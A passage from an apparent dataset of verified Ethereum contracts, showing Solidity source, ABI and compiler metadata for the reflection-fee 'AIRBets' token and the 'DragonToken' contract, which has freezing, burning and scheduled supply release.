* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AIRBets is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 35e12 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AIRBets";
string private constant _symbol = 'AIRBets';
uint8 private constant _decimals = 6;
uint256 private _taxFee = 1;
uint256 private _charityFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address private _charityAddress = 0x601699Ba78D91c7e6b8e3B67eF4C129BB782b8d7;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**1);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount);
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
payable(_charityAddress).transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 30e12 * 10**6;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _charityAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _charityAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tCharity, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CharityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(CharityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | false | 200 | Default | MIT | false | ipfs://f80c78bc9c7103d0218809888bd8fad9d6e132af873949fc9de20a5d03697138 |
|||
DragonToken | DragonToken.sol | 0xe71c5fa129e908f7b85b0356151a1ac862e9a74a | Solidity | pragma solidity ^0.4.15;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct MyDateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (MyDateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = 0;//getHour(timestamp);
// Minute
dt.minute = 0;//getMinute(timestamp);
// Second
dt.second = 0;//getSecond(timestamp);
// Day of week.
dt.weekday = 0;//getWeekday(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) constant returns (uint8) {
return uint8(timestamp % 60);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toDay(uint256 timestamp) internal returns (uint256) {
MyDateTime memory d = parseTimestamp(timestamp);
return uint256(d.year) * 10000 + uint256(d.month) * 100 + uint256(d.day);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner {
owner = pendingOwner;
pendingOwner = 0x0;
}
}
contract Operational is Claimable {
address public operator;
function Operational(address _operator) {
operator = _operator;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
function transferOperator(address newOperator) onlyOwner {
require(newOperator != address(0));
operator = newOperator;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool) {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
return true;
}
}
contract FrozenableToken is Operational, BurnableToken, ReentrancyGuard {
using DateTime for uint256;
uint256 public createTime;
uint256 public frozenForever;
uint256 public frozenAnnually;
struct FrozenRecord {
uint256 value;
uint256 day;
}
mapping (uint256 => FrozenRecord) public frozenBalances;
event FreezeForOwner(address indexed owner, uint256 value, uint256 unFrozenTime);
event Unfreeze(address indexed owner, uint256 value);
// freeze _value token to _unFrozenTime
function freezeForOwner(uint256 _value, uint256 _unFrozenTime) onlyOperator returns(bool) {
require(balances[owner] >= _value);
require(_unFrozenTime > createTime);
require(_unFrozenTime > now);
balances[owner] = balances[owner].sub(_value);
if (_unFrozenTime.parseTimestamp().year - createTime.parseTimestamp().year > 10 ){
frozenForever = frozenForever.add(_value);
} else {
uint256 day = _unFrozenTime.toDay();
frozenAnnually = frozenAnnually.add(_value);
frozenBalances[day] = FrozenRecord({value: _value, day:day});
}
FreezeForOwner(owner, _value, _unFrozenTime);
return true;
}
// unfreeze frozen amount
function unfreeze(uint256 _unFrozenTime) onlyOperator returns (bool) {
require(_unFrozenTime < block.timestamp);
uint256 day = _unFrozenTime.toDay();
uint256 _value = frozenBalances[day].value;
if (_value>0) {
frozenBalances[day].value = 0;
frozenAnnually = frozenAnnually.sub(_value);
balances[owner] = balances[owner].add(_value);
Unfreeze(owner, _value);
}
return true;
}
}
contract DragonReleaseableToken is FrozenableToken {
using SafeMath for uint;
using DateTime for uint256;
uint256 standardDecimals = 100000000; // match decimals
uint256 public award = standardDecimals.mul(51200); // award per day
event ReleaseSupply(address indexed receiver, uint256 value, uint256 releaseTime);
struct ReleaseRecord {
uint256 amount; // release amount
uint256 releasedDay;
}
mapping (uint256 => ReleaseRecord) public releasedRecords;
function DragonReleaseableToken(
address operator
) Operational(operator) {
createTime = 1509580800;
}
function releaseSupply(uint256 timestamp) onlyOperator returns(uint256 _actualRelease) {
require(timestamp >= createTime && timestamp <= now);
require(!judgeReleaseRecordExist(timestamp));
updateAward(timestamp);
balances[owner] = balances[owner].add(award);
totalSupply = totalSupply.add(award);
uint256 releasedDay = timestamp.toDay();
releasedRecords[releasedDay] = ReleaseRecord(award, releasedDay);
ReleaseSupply(owner, award, timestamp);
return award;
}
function judgeReleaseRecordExist(uint256 timestamp) internal returns(bool _exist) {
bool exist = false;
uint256 day = timestamp.parseTimestamp().year * 10000 + timestamp.parseTimestamp().month * 100 + timestamp.parseTimestamp().day;
if (releasedRecords[day].releasedDay == day){
exist = true;
}
return exist;
}
function updateAward(uint256 timestamp) internal {
if (timestamp < createTime.add(1 years)) {
award = standardDecimals.mul(51200);
} else if (timestamp < createTime.add(2 years)) {
award = standardDecimals.mul(25600);
} else if (timestamp < createTime.add(3 years)) {
award = standardDecimals.mul(12800);
} else if (timestamp < createTime.add(4 years)) {
award = standardDecimals.mul(6400);
} else if (timestamp < createTime.add(5 years)) {
award = standardDecimals.mul(3200);
} else if (timestamp < createTime.add(6 years)) {
award = standardDecimals.mul(1600);
} else if (timestamp < createTime.add(7 years)) {
award = standardDecimals.mul(800);
} else if (timestamp < createTime.add(8 years)) {
award = standardDecimals.mul(400);
} else if (timestamp < createTime.add(9 years)) {
award = standardDecimals.mul(200);
} else if (timestamp < createTime.add(10 years)) {
award = standardDecimals.mul(100);
} else {
award = 0;
}
}
}
contract DragonToken is DragonReleaseableToken {
string public standard = '2017111504';
string public name = 'DragonToken';
string public symbol = 'DT';
uint8 public decimals = 8;
function DragonToken(
address operator
) DragonReleaseableToken(operator) {}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"},{"name":"_unFrozenTime","type":"uint256"}],"name":"freezeForOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOperator","type":"address"}],"name":"transferOperator","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"frozenAnnually","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"award","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"claimOwnership","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"operator","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"standard","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"frozenForever","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"createTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_unFrozenTime","type":"uint256"}],"name":"unfreeze","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"frozenBalances","outputs":[{"name":"value","type":"uint256"},{"name":"day","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"releasedRecords","outputs":[{"name":"amount","type":"uint256"},{"name":"releasedDay","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"timestamp","type":"uint256"}],"name":"releaseSupply","outputs":[{"name":"_actualRelease","ty